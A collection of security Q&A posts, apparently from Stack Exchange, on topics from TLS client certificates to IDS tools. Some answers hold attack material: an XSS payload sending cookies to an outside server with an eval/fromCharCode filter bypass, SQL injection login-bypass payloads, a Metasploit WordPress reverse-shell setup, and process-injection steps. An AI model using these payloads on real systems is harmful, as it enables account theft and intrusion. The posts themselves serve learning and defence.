How to sanitize it? using escapeshellcmd() would be ok.
Is it safe to use pointers for or in this function? let's say $executable
Is there any other risk that i must think about, then i'm thinking about the program itself?

For sanitization, You can refer here https://stackoverflow.com/questions/42657352/how-can-i-stop-command-injection-when-using-shell-exec-in-php7

TL;DR:

Use escapeshellcmd for escaping full command to be executed, or escapeshellarg to escape arguments only for given command.


Strange Virus Infecting My Server I am currently working on a Web App on my dedicated server (LAMP) and it seems like it might be infected with some strange malware/virus of some kind.

When I access some domains on that server (every 5 or 10 mins) it will redirect me to something like this.

http://imgur.com/cifDTBe

The stranger this is that it does not completely redirect!

The URL of my website is still the same, and if it left alone for me than 10 seconds it will comeback to the site.

I have ran some virus/malware scan on my local site to run out that it's not from the client but indeed from the server.

Has anyone seen something like this before?

This is a malware which uses your websites to gain profit from advertisements. What you need to do now is fix your server. Best thing you can do is follow our canonical guide by Rob Moire which can be found here How do I deal with a compromised server?


How does do client authentication work over https? I recently wrote an application that calls out to a 3rd party service to perform some work.  This 3rd party service requires that I authenticate the client calling by using a client certificate. For this, I used the .NET provided C# methods to perform this (adding "client.pfx" to the client certificates with the request).

One of my concerns I have is that the API of this 3rd party mentions that I should perform this secure call using a URI they've provided as part of their auth process. To me, this seems terrible because an attacker could provide arbitrary URLs, and receive the requests themselves, and in turn, the contents of client.pfx.

My question is, how does this client authentication work (from sort of a broad view)?  Is the entire certificate sent as part of the request?  Is it just a signature of the request signed with the private key in client.pfx?  I'm wondering if my worry is justified.

Thanks!

Authentication of the client using a client certificate is very similar to the common authentication of the server using a server certificate.

Essentially the client has a public certificate which contains the public key and the client has the matching private key. Authentication is then done by the client:

Providing the public certificate which contains the public key. TThis is done with the Client Certificate message.
Signing some data with the clients private key. This signature is provided in the Certificate Verify message.

The server can validate the signature created by the client using the public key contained in the clients certificate. The server also validates the certificate itself in the usual way, i.e. check if a certificate chain can be build to a locally trusted CA certificate, check for expiration, revocation, key usage etc.

In order to prevent replaying the same signature later the client cannot choose which data get signed but all data send and received so far in the current TLS handshake get signed which include also random data from the server.


What threats and mitigations are there for a CA when processing a CSR? Question

What kinds of technical nastiness/attacks should I look for in a Certificate Request (CSR)  ?

Assume the ASN1 parser is secure on the CA.  I'm strictly concerned with the process of validating the data of the CSR.

More information

Suppose the CA recieves the following CSR

-----BEGIN CERTIFICATE REQUEST-----
MIIByjCCATMCAQAwgYkxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlh
MRYwFAYDVQQHEw1Nb3VudGFpbiBWaWV3MRMwEQYDVQQKEwpHb29nbGUgSW5jMR8w
HQYDVQQLExZJbmZvcm1hdGlvbiBUZWNobm9sb2d5MRcwFQYDVQQDEw53d3cuZ29v
Z2xlLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEApZtYJCHJ4VpVXHfV
IlstQTlO4qC03hjX+ZkPyvdYd1Q4+qbAeTwXmCUKYHThVRd5aXSqlPzyIBwieMZr
WFlRQddZ1IzXAlVRDWwAo60KecqeAXnnUK+5fXoTI/UgWshre8tJ+x/TMHaQKR/J
cIWPhqaQhsJuzZbvAdGA80BLxdMCAwEAAaAAMA0GCSqGSIb3DQEBBQUAA4GBAIhl
4PvFq+e7ipARgI5ZM+GZx6mpCz44DTo0JkwfRDf+BtrsaC0q68eTf2XhYOsq4fkH
Q0uA0aVog3f5iJxCa3Hp5gxbJQ6zV6kJ0TEsuaaOhEko9sdpCoPOnRBm2i/XRD2D
6iNh8f8z0ShGsFqjDgFHyF3o+lUyj+UC6H1QW7bn
-----END CERTIFICATE REQUEST-----

The CA will strip out the "begin/end" headers and footers and parse the data.  Humans can achieve a similar effect here.

As you can see there are a set of OIDs that have corresponding printable string values.

My goal is to prevent privilege escalation, or impersonation attacks that could arise with a malformed CSR.

CA's usually don't use the originally provided CSR and just sign it. Instead they extract and verify only the information they want to include in the certificate from the CSR (i.e. public key, subject..), add some additional information like expiration, CRL distribution point, OCSP URL etc and then they sign this newly created CSR. This way the CA does not need to deal with OID or similar it does not understand since these information are not included in the generated certificate anyway. It only needs to understand and verify the parts it will include from the original CSR, i.e. only  few parts. And these parts usually have a well known syntax which can be enforced, for example a domain name.


This is a working SQL-injection. What could the server side query string look like? This question is about a small detail in a larger school assignment. I have been struggling with this little problem for too long.

ABCTF arranged a Capture-the-Flag competition which was held earlier this year. One of the problems in this competition, was an SQL injection. This is a URL to the task description, and this is a URL to the login form which was to be injected. There is a published solution for this problem, and it looks like this:

Username: -1' union select 1,1,1,1 #

Password: 1

I need to figure out what the backend query string might look like. The simplest, most naive assumption would be

String query = "SELECT FROM user WHERE username = '" + inputA + "' AND password = '" + inputB + "';";
execute(query);

But this would produce

String query = "SELECT FROM users WHERE username = '-1' union select 1,1,1,1 #' AND password = '1';";
execute(query);

The most glaring problem with this, is that the quotes are unbalanced. Furthermore, I don't understand what output the SELECT statement would produce. As I've understood it, the "#" character is used to denote temporary tables in MS SQL Server, like "#temporary_table". I've played with other, simple statements as well, but nothing that would make sense.

Does anyone have an idea to what the backend query could look like? Any suggestion is appreciated.

In MySQL, the # symbol can be used as a comment marker.  Quote marks in comments don't have to balance.

Not all SQL instances run on Microsoft databases.


New gateway results in Google and Amazon security lockout, "device not recognized" The cable company recently replaced my old gateway/wireless router. After the new gateway was installed (a "Touchstone TG1682G Telephony Gateway", if it matters), both Google and Amazon required additional verification before I could log in to my accounts on their websites. Google gave me a message that my device was unknown or could not be verified and required that I either provide a backup email or phone to receive a confirmation code before proceeding. Amazon required me to enter an emailed code. AOL didn't seem to notice or care.

But my actual device that I was using to connect to these websites has not changed. It is the same computer I have always used. My IP address probably changed with the new gateway, but the cable company has always assigned new IP addresses several times per year and it has never triggered a security lockout by Google or Amazon. Previously I would get the occasional e-mail notification that a sign-in was made on a new device (either "Linux" or "Windows" depending on which OS I was using), but nothing was ever triggered by getting a new IP. (see note*)

Based on my understanding of a similar question asked on Quora it would be highly irregular if my router hardware were known to websites.

What about the installation of a new gateway could trigger account lockout protocols for Google and Amazon? Does anyone know what might be going on here?

*Note: per the accepted answer, it seems that along with the new gateway, I was also assigned a much different IP address than any I've previously had. My previous IP addresses had always been in the range 73.xxx.xxx.xxx, but my new IP is in the range 67.xxx.xxx.xxx. I suppose this was different enough to be considered "suspicious activity" and triggered their account lockout protocols.

Normally your ISP assigns you IP Addresses within the same segment. e.g. an IP Address in the rang 20.40.0.0 - 20.40.255.255 (20.40.0.0/16).
Google and Amazon trust your cookies and credentials in that segment once logged in successfully.

Now the interresting stuff:
If you got a new gateway, maybe your ISP also changed the way you access the internet (e.g. gateway supports new protocols), which caused them to assign you an entirely different IP Address (e.g. 55.123.45.67). That looks to google like someone stole your cookies and tried to login from somewhere else, in which case the go the safe route and just invalidate your session and log you out.
The worst case in that for Google is, that you need to relogin, which should be easy if that account actually belongs to you.

Also a question for you: Why is this question tagged ipsec? ipsec is a VPN protocol (https://en.wikipedia.org/wiki/IPsec)

Greetings


Data integrity and authentication of an Arduino using JSON Web Tokens and HMACs I have a school project involving an Arduino-based sensor that needs to send sensor readings to a server via HTTP. The sensor readings do not need to be encrypted (it's okay that people know what they are) but we do want to (1) authenticate the Arduino and (2) make sure the data was not changed in transit.

After all, we don't want just anyone to be able to send sensor readings to the server, and we want to know where those readings actually came from.

I have thought of using JSON Web Tokens (which are pretty compact and can be hard-coded into the Arduino or on an SD-card) to authenticate the Arduino, but Man-in-the-Middle attacks would still be a problem if we're just using HTTP over TCP. The recommendation seems to be to use HTTPS, but I've read somewhere that an Arduino doesn't have the horsepower required for HTTP over TLS. (Is this really true? I've yet to actually try)

I've thought of the following approach and would appreciate any thoughts on whether it would actually address the problem.

The Arduino has a JSON Web Token (which identifies the Arduino and contains a secret value k).
The Arduino computes an HMAC for the data using the key k. Call this H.

H = hmac(data, k)
The Arduino sends the JWT, the data and H using an insecure connection (HTTP over TCP).
The server receives the message from the Arduino. It decrypts the JWT, which only it can do because the JWT was symmetrically encrypted on the server. After decrypting the JWT, the server now knows k & data and can compute H, allowing it to verify the data's integrity, as well as authenticate the Arduino.

Am I wrong? Is there a better solution? Thank you in advance.

Since this is an embedded device and resources are limited, you can reduce this a bit.

You're already computing the signature of the data, so why not just stick the data in the JWT instead, and compute the JWT signature?

This solves a couple problems. First, the JWT is constantly changing, so the ability to replay it can be significantly reduced. Second, you're sending less data.

You need to do a bit of work on the server side to prevent replays. You can timestamp the JWT if you have a clock available to you and only accept values where the timestamp is greater than the last seen timestamp, or just use an incrementing counter in the JWT (request 1, request 2, request 3, etc.).

Speaking pedantically... at this point it's less of a JWT and more of a generic JWS payload. A JWT has specific requirements for claims inside the body such as issuer, expiration/validity, subject, etc., whereas a JWS is more or less just a chunk of signed JSON.


WPAD (badWPAD vulnerability) should I disable or not? Hi I have read  recently very bad things about WPAD vulnerability for example here nakedsecurity.sophos.com/2016/05/25/when-domain-names-attack-the-wpad-name-collision-vulnerability/ (article from 2016) or here blog.redteam.pl/2019/05/badwpad-dns-suffix-wpad-wpadblocking-com.html.  (article from 2019) How to defend against it? If I only use wifi only from my home network, am I also at risk? Should I disable it?

Thanks in advance

Short Answer: NO, as a home user, unless you misconfigured your DHCP network (or your ISP is doing bad things).

Long answer:
You are not supposed to run your HOME/Enterprise network under an valid internet subdomain name. Depending on your ISP, your computer should have received from DHCP server parameters giving it a FQDN like mylovelyPC.ISPName.loc. or something like that.

If you are running an Enterprise network, you are either using split brain DNS (eg your contoso.com enterprise network is not using the same DNS server and zones from the inner side and the outer side), or two different domains (contoso.loc for LAN and contoso.com) for internet facing servers.
All theses attacks relies on the fact that the PC is using a FQDN which is a subdomain of an REAL internet domain and that the LOCAL DNS is unable to respond to WPAD host query.

Example: You named your network contoso.org.uk, PCs will search for wpad.contoso.org.uk (should reply,) wpad.org.uk (you do not control that one,)
 wpad.uk (you do not control that one either.)
So, if your IT mis-configured your enterprise DNS configuration, you may be at risk, IF someone manage to register wpad.uk or wpad.org.uk.

Looks like they are a lot of people in Poland (.pl) who run mis-configured DNS infrastructure. 8)

By the way, on Windows DNS Servers, the option to block has been there for 10 years, is enabled by default and is called globalQueryBlockList.

Example: dnscmd /info /enableglobalqueryblocklist


Changing $_SERVER['REMOTE_ADDR'] remotely On a nginx web-server running the following config is to possible to change $_SERVER['REMOTE_ADDR'] remotely?:
user www;
pid /run/nginx.pid;
error_log /dev/stderr info;

events {
    worker_connections 1024;
}

http {
    server_tokens off;
    log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
    access_log /dev/stdout docker;

    charset utf-8;
    keepalive_timeout 20s;
    sendfile on;
    tcp_nopush on;
    client_max_body_size 1M;

    server {
        listen 80;
        server_name _;

        index index.php;
        root /www;

        set $proxy "";

        if ($request_uri ~ ^/proxy) {
            set $proxy "R";
        }

        if ($http_host != "admin.domain.com") {
            set $proxy "${proxy}H";
        }

        if ($proxy = "RH") {
            return 403;
        }

        location /uploads {
            return 403;
        }

        location / {
            try_files $uri $uri/ /index.php?$query_string;
            location ~ \.php$ {
                try_files $uri =404;
                fastcgi_pass unix:/run/php-fpm.sock;
                fastcgi_index index.php;
                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
                include fastcgi_params;
            }
        }
    }
}

Any method will do, I've attempted modifying X-Forwarded-For to no avail so I'm assuming this config file holds the keys to changing $_SERVER['REMOTE_ADDR'] remotely.

The $_SERVER['REMOTE_ADDR'] can be trusted.  This is the source address of the TCP connection to the server, it is not taken from headers that are sent by the client as is the case with some of the other $_SERVER variables.


If I re-install an encrypted version of Ubuntu on my laptop and fill my entire SSD up with a large .txt file, does this securely wipe the SSD? I'm looking for an easy way to securely wipe the SSD of my Ubuntu machine. As I'm using a fairly new Dell XPS 13 and am quite a noob with Ubuntu I don't want to use any fancy commands, that might brick my machine.
This is why I thought I could just re-install Ubuntu, this time with encryption, fill up the internal SSD, and re-install a clean version of Ubuntu after this.
Theoretically this should leave no data behind, is this correct?

This might work, but there is a much easier way to wipe your hard drive clean:
Boot the computer from a Ubuntu live bootable USB.  When it prompts you with the options to 'Run Ubuntu' or 'Install Ubuntu', choose 'Run Ubuntu'.
When Ubuntu loads, open the command prompt, then do sudo fdisk -l to find the location of the SSD in the file system (it will likely be /dev/sda).  Then, use the following dd command to fill the SSD with zeroes:
dd if=/dev/zero of=/dev/sda bs=4M status=progress

(assuming your SSD is /dev/sda - otherwise, change accordingly)


What is a Rainbow table? How many hash codes must be generated in the following scenario? One of the technical access controls used by a company consists of entering a 5-digit PIN. When entered, the PIN number is hashed and the hash code is compared to the stored value of the hash code in the system. To produce a rainbow table for the hash codes of all the possible 5-digit PIN configurations, how many hash codes must be generated?

The total character length is 10 since these are the available digits:

0 1 2 3 4 5 6 7 8 9

10^5 = 100,000

So about 100k hashes. You don't need rainbow tables for this, though, but you should read up on them for a better understanding.


vulnerability management, risk mitigation vs risk acceptance I was involved in a conversation concerning the in-house vulnerability management program. One the statements made was that the management is generally not willing to accept risk and it should be aimed to mitigate it preferably in form of patching.

On the other hand, there are cases of applications that are vulnerable (most of them have critical and high severity levels) and they are going to be decommissioned by the end of 2020.

The problem is, that no one wants to put money on the table for fixing the vulnerabilities because the product or products will be decommissioned in a few months’ time.

I’m now wondering, aren’t they somehow already accepting the risk of not providing funds for fixing the vulnerabilities or is it more an example of neglect?

Furthermore, shouldn’t, in this case, a formal process of risk management exist to weigh the cost against the potential loss caused by a possible exploitation leveraging the vulnerability?

There is no such thing as "no risk". There is always residual risk. Therefore, management must accept some level of risk (known as "acceptable risk").

"Inaction" is not the same as "accepting risk". What you are seeing is management not wanting to make a decision that costs money. That's all. There is no "risk thinking" here, so you can't look at it through a risk lens.

Yes, there should be a simple risk process to identify, assess, and treat the risks in this scenario. Most managers are not well trained in risk basics and are not aware of how simple, effective, and straightforward it can be. Many managers in small companies are afraid of formal risk processes because they can seem like a lot of overhead and bother.

You can kick start this yourself by asking judgement-free questions of management.

what is your nightmare scenario in this situation?
how comfortable will you be if the worst-case happens?
are you ok with these vulnerabilities being un-mitigated in the meantime?
do you want to put in some extra monitoring or other protections to help reduce the risks?
do you want me to look at low-cost alternatives to patching to see if they can reduce the risk to a level you would be more comfortable with?


- Exploit aborted due to failure: not-found: Can't find base64 decode on target So. I am having some issues at metasploit.
I am trying to exploit
exploit/multi/http/wp_crop_rce.
I am using Docker, in order to install wordpress version: 4.8.9.
PHP 7.2.12 (cli) (built: Nov 28 2018 22:58:16) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.12, Copyright (c) 1999-2018, by Zend Technologies
wordpress version: 4.8.9
metasploit:latest version
    Module options (exploit/multi/http/wp_crop_rce):

       Name       Current Setting  Required  Description
       ----       ---------------  --------  -----------
       PASSWORD   password1234     yes       The WordPress password to authenticate with
       Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
       RHOSTS     172.17.0.1       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
       RPORT      8000             yes       The target port (TCP)
       SSL        false            no        Negotiate SSL/TLS for outgoing connections
       TARGETURI  /                yes       The base path to the wordpress application
       USERNAME   admin            yes       The WordPress username to authenticate with
       VHOST                       no        HTTP server virtual host

    Payload options (php/meterpreter/reverse_tcp):

       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       LHOST  192.168.91.130   yes       The listen address (an interface may be specified)
       LPORT  4444             yes       The listen port

    Exploit target:

       Id  Name
       --  ----
   0   WordPress

Expected behavior
Should be run without any error and meterpreter session will open.
Current behavior -> Can't find Base64 decode error.
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[-] **Exploit aborted due to failure: not-found: Can't find base64 decode on target**
[*] Exploit completed, but no session was created.

Ubuntu machine

Instead of giving a full answer to this, I will go through the steps I would take to figure out what might be going wrong here.
To debug the issue, you can take a look at the source code of the exploit.
The main function is exploit. It first uses metasploit functions to check if wordpress is running and if you can log in with the provided credentials. Let's assume for now that they work correctly. What we can see is that there is no permission check in the exploit (so it will continue to the next step even if you log in as say subscriber).
Then it performs the actual exploit (sending the request to crop an image in  crop_image and change_path). It doesn't validate if any of this works or not.
Then it performs the second stage of the exploit (LFI in include_theme). Here, it has some checks on whether the user can create posts.
Finally, it checks if if the shell was correctly placed in check_for_base64 and if successful creates a backdoor.
This is where the exploit fails for you. Specifically, we can see that the Can't find base64 decode on target error means that a request to TARGETURI returns a 200 (as expected), but that it doesn't contain the result of the injected command.
Taken all of this, we can see that the base64 error basically means "exploit not successful", but that it doesn't necessarily mean it's related to base64.
Possible problems include:

you are using a user that does not have the required permissions. Eg by default, using a user in the contributor role should result in the error you get (they can create posts, but not upload files).
you are running wordpress on windows, where the injected echo #{test_string} | base64 -d command will fail.
the used wordpress version is not vulnerable, or some custom configuration prevents exploitation
there is a (possibly deliberate) error in the exploit code.

You can narrow the problem down by eg:

testing the issue with a wordpress admin user
running wordpress on linux or adapting the injected command if running on windows.
debugging the exploit code & manually exploiting the issue:

add logging to the exploit to show you the full HTTP responses (&requests). Are they what you would expect? Or are there any errors that might show a problem?
manually create the required requests to exploit the issue (you can start with the requests sent by the exploit). Is this working? If so, how are the requests different from the requests the exploit sends? If not, how can you adapt the requests so that they do work?
If none of the above works, add logging to the relevant wordpress functions. Are they doing what they should be doing? Or are there any errors?


Bypassing login with SQL Injection I'm learning about SQL Injection, and I'm playing around on my local machine with vulnerable web application, which has login form.

How the login mechanism works is that it first searches whether there exists a user with the typed username in the database, if there exists, it returns the user data from the database, and then it checks whether what is typed in the password field is equal to the actual user password returned by the database. Please note that there is no hashing of the password involved.

The application uses a query like the one below to retrieve the user's data from the database: "SELECT * FROM accounts WHERE username = '" + username + "'". I already used something like this for the username field in the form: test' OR 1=1 LIMIT 1--, and this actually returns in the application the first user's data from the database (I checked this in debug mode). But, the login still fails, because as I said the password value that I entered, and the actual user's password don't match, simply, when it come to this line of code, it fails:

if (enteredPasswordField.Equals(usersPassword, StringComparison.Ordinal)) return SUCCESS;
else return FAILURE;

And as can be seen the user's password is not involved in the SQL query. I was thinking of starting a new SQL statement at the username field to change the users' password, but it kind of undermines the purpose. Any ideas how can I bypass this?

Try appending a UNION SELECT to the SQL query.

A union-select allows the attacker to add a completely new select-statement. The results of that second select are appended to those of the first. When the first request returns no result, the union-select allows the attacker complete control over the result-set. Remember that a select-statement doesn't even need to mention a table and can return literals instead. SELECT * FROM accounts WHERE username = '' UNION SELECT 'admin', 'TotalyTheAdminsPassword', 'dummy', 'dummy', 'dummy', 'dummy' is completely valid.

A UNION SELECT means that the attacker needs to figure out the number of requested columns (the second SELECT needs to match the column-count of the first SELECT, or the database will throw an error) and which column represents which field, but an attacker can usually figure that out through experimentation.


Encrypt existing SSH key I've created an RSA keypair for ssh access to a remote server. This all works. When creating the keypair, I didn't enter a password. Now I would like to encrypt the key, secure it with a password.

Is that possible, and if so how can I do that?

How can I encrypt an existing ssh key with a password?

Use this command: ssh-keygen -o -p -f keyfile

Changing the private key's passphrase without changing the key


How does process migration work in Meterpreter Did anyone try to figure out how process migration works in Meterpreter in Windows? I want to make my own script to learn that, but am failing to find a starting point for that. Well, I have an idea to use NtQuerySystemInformation library and its SystemHandleInformation function, as it can return handle of a thread in the OS and using those I can change its parent, but I doubt that it's going to work (due to TEB). And I have a feeling that there should be an easier way than NtQuerySystemInformation. Could anyone suggest a DLL or an algorithm to use?

This is how migrate works in meterpreter:

Get the PID the user wants to migrate into. This is the target
process.
Check the architecture of the target process whether it is 32 bit or 64 bit. It is important for memory alignment.
Check if the meterpreter process has the SeDebugPrivilege. This is
used to get a handle to the target process. Further details at
    http://support.microsoft.com/kb/131065
Get the actual payload from
    the handler that is going to be injected into the target process.
    Calculate its length as well.
Call the OpenProcess() API to gain
    access to the virtual memory of the target process.
Call the
    VirtualAllocEx() API to allocate an RWX (Read, Write, Execute)
    memory in the target process
Call the WriteProcessMemory() API to
    write the payload in the target memory virtual memory space.
Call
    the CreateRemoteThread() API to execute the newly created memory
    stub having the injected payload in a new thread.
Shutdown the
    previous thread having the initial meterpreter running in the old
    process.


what would happen if someone got their hands on my aws_access_key_id and aws_secret_access_key? What would happen if somebody gets their hands on AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY? Does this somehow compromise my AWS account? or my buckets or whatever that might be?

I just want to know what an attacker can do with these keys.

Can someone explain to me in detail?

Do not provide your access keys to a third party, even to help find your canonical user ID. By doing this, you might give someone full access to your account.

From amazon documentation.


Intrusion Detection System and Network Intrusion Detection Systems IDS (Intrusion Detection System), NIDS (Network Intrusion Detection System)

What's the difference between IDS and NIDS?

Can I use more than one IDS and NIDS at the same time? Or both IDS and NIDS together?

Is anti-malware just like IDS but it scans the pc not the network? And what's YOUR favorite IDS or NIDS (I couldn't find ANY NIDS).

PS: Where do you install NIDS? On the router?

Whats the difference between IDS and NIDS?

The concept of IDS can be divided to Two classes, this are Host IDS and Network IDS or HIDS and NIDS.

                           IDS
                        /       \
                     HIDS       NIDS
           Host IDS                 Network IDS
      Inspecting Host             Inspecting Network

For example:

Network IDS:

Snort
Suricata

Host IDS:

AIDE
Tiger
SAMHAIN
Osiris
Tripwire

There are 7 IDS. Two of its are NIDS and Five of its are HIDS.

Of-course, IDS can be designed as hybrid of NIDS and HIDS.

  Can i use more than one IDS and NIDS at the same time?

As you wish.

  And what's YOUR favorite IDS or NIDS (I couldn't find ANY NIDS).

My favorite NIDS - is Suricata, because it can block connection in real time with iptables.

On HIDS, I like mtree way ( OpenBSD ). You can read man mtree

  PS: Where do you install NIDS? On the router?

There are many ways to use NIDS. Inside DMOZ or outside. For example, one NIDS can be installed on the front of network, with active filtering of connections. Thereafter other NIDS can be installed right on the server / work-station.

The easiest solution, that I'm using is installing Suricata right on my work-station with active dropping of any packets that match any of rules.

Suricata User Guide » Suricata Rules

Means, I'm taking latest set of rules and replacing alert to drop everywhere.

Users of Ubuntu could easy setup Suricata by one command:

$ sudo apt-get install -y suricata


How do exploit developers counter control-flow integrity (CFI) used to prevent ROP-based buffer overflow attacks? How do exploit developers counter control-flow integrity (CFI) used to prevent ROP-based buffer overflow attacks?

Originally, return-oriented programming (ROP) was invented to counter the no-execute (NX) protection of the stack, by jumping from different memory locations (executable) to execute code (gadgets).

However, control-flow integrity (CFI) is meant to prevent ROP-based execution by dynamically checking the destinations of jumps for validity, i.e., it is no longer possible to jump to arbitrary locations in executable code (only to the beginning of functions etc.)

How does exploit developers counter CFI to exploit NX-protected programs using buffer overflows?

There are many types of CFI. However, CFI that supports both forward and backward edge protection, is deterministic, and is also fine-grained is very rare to come by (the only concrete example I know of is the commercial version of PaX RAP). Most CFI is coarse-grained, which means that a function can return not to only that one function, but to a number of functions with the same function signature (that is, the same return type and exact same arguments). Forward edges come from jumps and calls, whereas backward edges come from returns. The vast majority of CFI only supports one or the other (such as Microsoft's CFG or Clang's CFI), vastly limiting its capabilities.

Another issue with CFI is that it is often probabilistic, using some secret value. Any infoleaks that expose that secret value could be used to break the CFI. Deterministic CFI does not suffer from this, but most deterministic CFI is very coarse-grained. In summary:

Most CFI is not both forward and backward edge, severely limiting its capabilities.
Most CFI is probabilistic, making it vulnerable to infoleaks that can break it.
Most CFI is coarse-grained, letting you return to groups of functions with the same signature.

You can learn a lot more about actual CFI implementations by checking out kCFI and PaX RAP, the only two which I know of that provide full forward and backward edge protection. Unfortunately, since CFI is such a complex topic and there's no one implementation or even technique for CFI, there's no way to answer exactly how an attacker can bypass it without specifying the implementation.


How can I use many LiveIDs (or Microsoft Accounts) at the same time? I use several sites under a different "LiveID" / Microsoft Account and need to use the following under different identities

Windows Azure Management Portal
Outlook.com
MSDN Forums / Technet
Office365
Partners.microsoft.com

Question

What client side or web browser or technology will allow me to work with these sites simultaneously?

I'm looking for a way to sandbox my on-disk and HTTP cookies without having to launch a whole VM for each.

Internet Explorer (IE8 or IE9 or newer)

Internet Explorer 8 (IE8) and newer version comes with a New Session option that allows user to start a new browser window as new session, which has separate cookies management system.

To open a new IE browser window in new session, press “Alt” key to reveal menu bar, and go to “File” -> “New Session”.

Users who prefer to run each IE browser from Start Menu, Taskbar or Desktop as new session automatically can append NoMerge switch to the end of IE’s shortcut.

IE InPrivate Browsing

In IE which supports InPrivate Browsing, click on “Safety”, and select “InPrivate Browsing” to open a new privacy browser window to login to second account. Note that the browsing history, cookies and session won’t be saved while using this option.

Mozilla Firefox

There are a few add-ons for Firefox which can be used to maintain different cookie storage for different tabs or windows, allowing separate instance of cookies to be created for each logins in different tabs or windows in parallel.

Install Multifox extension for Firefox
Install CookiePie extension for Firefox (no more supported and may conflict with some extensions)
Install IE Tab add-on for Firefox (provided IE is not in use to login)

To use CookiePie, open a new tab, and then right click on the tab to “Toggle On/Off CookiePie” (a cookie icon on the tab mean it’s on). To use Multifox, right click on the links or bookmarks and select “Open in a New Identity Profile” in the context menu, or select “New Identity Profile” in “File” menu.

Google Chrome

In Google Chrome, click on Tools (Wrench) icon, and select “New Incognito Window” (or press Ctrl+Shift+N), and sign onto the second account of the same site.

Chrome Incognito mode is a privacy feature which allows creation of two different instances of cookies, effectively treat Chrome Incognito mode as multi-login feature. Note that the browsing history, cookies and session won’t be saved while using this option.

Web Browser Profiles

Firefox and Google Chrome supports multiple profiles creation which allows web browser to start with different profile with different storage location of information, including cookies which stores the sign in credentials.

Guide on using profiles in Firefox is available at mozilla.com.
Guide on using profiles in Chrome is available at google.com.

Stainless Web Browser

Mac OS X operating system users can use Stainless web browser instead. Stainless has built-in support for parallel sessions, which allow you to log into a site using different credentials in separate tabs at the same time. This new technology is woven throughout Stainless, from the private cookie storage system, to session-aware bookmarks that remember the session in which they were saved.

Download Stainless for Mac: Stainless.zip

Source


Exploiting XSS in filename without using / I am trying to exploit a vulnerability in the filename field of a file upload. The web application does not properly validate the filename of the uploaded file and as a result there is a stored cross-site scripting vulnerability.

My problem is that whenever I try to rename the file to include something like the below payload, I can't include / in the filename.

document.location='http://my_test_server.com/bla.php?cookie='+document.cookie;

Any ideas/payloads? Is it even possible to exploit this vulnerability?

You can execute any JavaScript without using / by using a combination of eval and fromCharCode:
let slash = var String.fromCharCode(47);
eval("document.location='http:" + slash + slash + "my_test_server.com" + slash + "bla.php?cookie='+document.cookie;");


Flash drive returning odd files, and self creating others, any ideas? I was sanitising a USB drive and after wiping it I ran Recuva to check the results.

It finds a file called [000001].flv which is 113MB. The file starts with FLV and then the data looks random, certainly is not an FLV file.

So I delete the file and run Recuva, this time is finds a file called KPOPEAPFDRGPBOBD which is 120MB. Again the data looks random. I repeat the process and these file keep re-appearing with different names and slightly different sizes.

Anyone any idea as to what they are and whey they are getting created?

If you actually did wipe the entire USB with random data, it's possible some of the sectors on it contained data which looked like the start of a FLV or other file type. File carving (the technique I believe you are describing) works really well on some file types, while others will generate many many false positives. The names are random since it has no filesystem to tell it what the name should be.


NFS and encrypted File systems Can a NFS mounted file system be used for encrypted /home, and can the encrypted Home Directories be mounted/decrypted for the user when they login?

The home directory encryption - at least the one in ubuntu - works for any folder. It does not matter if that folder exists on the local hard disk or is mounted using NFS. It even works in combination with the Ubuntu One cloud storage.

Just mount the directory first and then configure the encryption.


Is the story about getting a visit by police for googling pressure cookers true? Its from The Guardian and it was not published in April.

I know Google was always collecting data about me and I have so far decided to let it slip as a compromise in light of their contributions to the internet and also because I though they weren't personally identifiable.

But if this story was true then this is seriously not okay, its one thing to ask for your real name and home address directly through filling up a form, its another thing to snoop them up without your knowledge.

The article itself clarifies that the source of the tip was an employer:

  Update: Police in Suffolk County, NY, released the following statement
  on Thursday evening:

  "Suffolk County Criminal Intelligence Detectives received a tip from a
  Bay Shore based computer company regarding suspicious computer
  searches conducted by a recently released employee. The former
  employee's computer searches took place on this employee's workplace
  computer."

Employers have a legal right to review employees' computers and Internet traffic, and if the employee was being released for any reason, it is highly likely that the employer would exercise that right - it's kind of standard to monitor people who are being released, usually to ensure they aren't exfiltrating company data.

(The article is dated August 2013; while the author doesn't time the exact incident, it's reasonable to believe the web searches would have been inspired by the April 2013 Boston Marathon bombing, which used a pressure cooker bomb carried in a backpack.  And it's also reasonable to believe that police would have paid attention to such a report in that timeframe.)


how long does it take to brute force varying encryption standards? Let's say I want to encrypt information in a database. What would be the best encryption algorithm to use and why. I was thinking AES, since it's widely used as a government standard, but if the database is broken into, I am unsure how long it would take to brute-force your way to the original information.

What would be the best way to store such data.  I can't use hashing - the requirement is that it is encrypted.

Brute-forcing is the most stupid of attacks. It is the equivalent of a monkey repeatedly hitting a coconut with a stone until it breaks (the coconut, not the stone). If you replace the coconut with a steel safe, the monkey will be defeated. "Ultimately", the monkey could bash through the steel, if only he could hit it for (much) longer than his lifetime. But he can't: he'll be dead much before having substantially dented the steel.

What you should worry about is not brute force. A brute forcing attacker tries all possible keys until he gets lucky. It suffice to have sufficiently many possible keys to make such an attack infeasible; "many possible keys" translate to "keys sufficiently long": for symmetric encryption, a key is just a sequence of bits of a given size, and any sequence of exactly that many bits is a valid key; therefore, a 128-bit key is more than large enough to achieve appropriate resistance against brute-forcing (with a fair margin). If you use AES, then the minimum key size is 128 bits (the algorithm cannot do less anyway), so no worry there.

The issues are rather on how you use the encryption algorithm. This is a matter of subtlety and it is very easy to botch it, leaving the door open for attackers who are smarter than the average monkey. At a minimum, you should define clearly what you are trying to defend against, who will need to encrypt data, who will need to decrypt the data, and how the keys will be managed (generation, storage, access, destruction).

